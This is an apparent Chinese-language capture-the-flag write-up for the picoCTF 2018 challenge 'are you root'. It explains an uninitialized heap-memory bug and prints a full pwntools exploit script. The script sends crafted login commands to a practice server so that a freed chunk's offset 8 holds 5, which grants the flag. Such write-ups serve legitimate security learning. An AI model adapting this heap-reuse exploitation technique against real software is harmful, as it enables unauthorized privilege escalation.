picoctf_2018_are you root
安全检查
流程分析
在这里有malloc一个堆出来
满足条件获取flag
释放先前拷贝出来的字符串
漏洞分析
- 只要满足一开始申请的字符串中的偏移8满足等于5的条件便可以
- 先login创建了两个堆,然后把偏移为8的地方覆盖为5,再把他释放了
- 上一步释放后在填入,便可以存储他的堆的偏移8为5了,满足条件
from pwn import * context.log_level='debug' #p=process('./PicoCTF_2018_are_you_root') p=remote('node3.buuoj.cn',25174) def login(content): p.recvuntil('>') p.sendline('login '+content) def reset(): p.recvuntil('>') p.sendline('reset') def get_flag(): p.recvuntil('>') p.sendline('get-flag') login('a'*8+p64(0x5)) reset() login('PYozo') get_flag() #gdb.attach(p) p.interactive()
学习总结
这道题本身不难,一开始没怎么看懂,然后看到了haivk师傅的博客后,发现是道未初始化验证漏洞题,这也是我第一次接触这种题吧,然后开始认真的分析了下流程,一直没注意释放的是*ptr,而不是ptr所以一开始没看到,到后面突然看清楚了